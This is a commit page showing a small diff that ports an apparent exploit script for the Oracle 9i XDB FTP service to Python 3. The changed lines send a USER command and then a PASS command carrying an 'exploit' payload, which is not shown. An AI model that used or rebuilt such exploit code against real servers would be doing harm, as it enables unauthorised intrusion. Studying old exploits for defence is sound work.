Skip to content

Commit 099dd5a

Browse files
committed
update oracle_9i_xdb_ftp.py Python3
1 parent 7e88bd7 commit 099dd5a

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

oracle_9i_xdb_ftp.py

+4-2
Original file line numberDiff line numberDiff line change
@@ -82,9 +82,11 @@
8282
print( "\nConnecting...")
8383
s.connect((rhost,rport))
8484
data = s.recv(1024)
85-
s.send('USER' + user +'\r\n')
85+
user_send = 'USER' + user +'\r\n'
86+
s.send(user_send.encode('utf-8'))
8687
data = s.recv(1024)
87-
s.send('PASS ' + exploit + '\r\n')
88+
pass_send = 'PASS ' + exploit + '\r\n'
89+
s.send(pass_send.encode('utf-8'))
8890
print("\nDone!")
8991
s.close
9092
except:

0 commit comments

Comments
 (0)